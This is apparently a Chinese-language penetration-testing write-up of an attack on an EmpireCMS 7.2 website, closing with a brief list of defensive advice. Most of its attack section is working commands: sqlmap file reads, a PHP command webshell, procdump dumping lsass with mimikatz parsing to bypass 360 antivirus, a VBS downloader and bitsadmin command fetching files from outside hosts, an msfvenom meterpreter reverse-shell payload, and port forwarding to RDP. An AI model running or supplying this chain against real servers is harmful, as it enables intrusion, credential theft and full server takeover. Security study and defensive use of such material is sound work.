一次艰难的网站渗透
字数 1529 2025-08-18 11:38:41
网站渗透实战教学:从SQL注入到获取管理员权限
1. 信息收集阶段
1.1 初始侦察
- 发现网站存在多个敏感文件:
- php探针
- phpinfo页面
- phpmyadmin管理界面
1.2 CMS识别
- 确认网站使用帝国CMS 7.2版本
- 尝试常见弱口令登录失败
- 尝试通用漏洞利用失败
1.3 端口扫描与域名反查
- 扫描开放端口
- 反查域名寻找潜在注入点
- 定位最可能存在SQL注入的网站
2. SQL注入利用
2.1 发现注入点
- 找到一个联合查询型注入点
- 确认注入点为DBA权限
- 已知网站绝对路径
2.2 尝试常规getshell方法
- os-shell命令执行:失败,可能被WAF拦截
- sqlmap文件写入:
失败,无法找到写入的文件sqlmap --file-write 本地文件地址 --file-dest 写入地址 - sql-shell执行SQL语句:失败,不支持非查询语句
2.3 读取配置文件
- 利用帝国CMS配置文件固定位置特性:
- 路径:
e/config/config.php
- 路径:
- 使用sqlmap读取:
sqlmap --file-read=e/config/config.php - 成功获取数据库连接信息
3. phpMyAdmin利用
3.1 登录phpMyAdmin
- 使用从配置文件中获取的密码登录
3.2 文件写入尝试
- 直接写入webshell:
- 执行SQL语句写入文件
- 文件可访问但无法远程连接
- 本地命令执行验证:
<?php echo `ipconfig` ?>- 成功执行并输出结果
- 确认只能本地执行,无法远程连接
3.3 反弹shell
- 将反弹脚本转换为16进制
- 通过phpMyAdmin上传
- 开启nc监听
- 访问上传文件,成功反弹shell
- 获得最高权限
- 发现存在360安全防护
4. 绕过安全防护获取凭证
4.1 发现限制
- 无法直接添加用户
- 无法上传Mimikatz(被杀毒拦截)
4.2 Procdump+Mimikatz方案
- Procdump工具:
- 微软官方提供,可绕过杀毒
- 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
- 两步操作:
# 1. 导出lsass.exe进程 procdump64.exe -accepteula -ma lsass.exe lsass.dmp # 2. 本地使用Mimikatz解析 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
4.3 文件上传尝试
-
VBS下载方法:
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs cscript downfile.vbs http://192.168.40.13:9090/file/Library/5d5X9mSTZXjH9VlhXNN/x.txt D:\\tomcat8.5\\webapps\\x.jsp- 失败,被360拦截
-
bitsadmin方法:
bitsadmin /transfer n http://www.xx.com/code.jpg c:\users\sdyp\desktop\ff.jpg- 失败,原因未知
5. Metasploit框架利用
5.1 生成PHP反弹木马
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
- 转换为16进制
- 通过phpMyAdmin上传
5.2 获取Meterpreter会话
- 开启监听
- 访问上传的PHP文件
- 成功获取会话
5.3 导出lsass.dmp
- 上传procdump64.exe:
upload /path/to/procdump64.exe /var/www/html/ - 执行导出:
execute -f procdump64.exe -a "-accepteula -ma lsass.exe lsass.dmp" - 下载lsass.dmp文件
5.4 获取明文密码
- 在相同内核的虚拟机上运行Mimikatz
- 解析lsass.dmp文件
- 获取管理员明文账户密码
6. 远程桌面连接
6.1 定位远程桌面服务
- 查看TermService进程:
tasklist /svc - 确认端口:
netstat -ano- 发现修改后的端口为5277
6.2 端口转发
portfwd add -l 5555 -p 5277 -r 192.168.100.208
6.3 远程连接
- 连接本地5555端口
- 使用获取的凭证登录
- 成功获取服务器控制权
7. 关键总结
- 多方法尝试:当一种攻击路径受阻时,需灵活切换其他方法
- 权限利用:高权限运行网站增加了渗透难度
- 安全防护绕过:
- 使用微软官方工具规避杀毒
- 利用数据库功能上传文件
- 反弹shell绕过正向连接限制
- 凭证获取技巧:
- Procdump+Mimikatz组合
- 需要相同内核环境解析dump文件
- 端口转发:用于绕过修改后的默认服务端口
8. 防御建议
- 最小权限原则:Web应用不应以高权限运行
- 敏感文件防护:
- 删除或限制访问phpinfo、探针等文件
- 修改phpMyAdmin默认路径
- 输入过滤:
- 有效防止SQL注入
- 过滤特殊字符和命令
- 安全配置:
- 修改默认远程桌面端口
- 启用网络级认证(NLA)
- 日志监控:
- 监控异常文件创建
- 记录数据库管理操作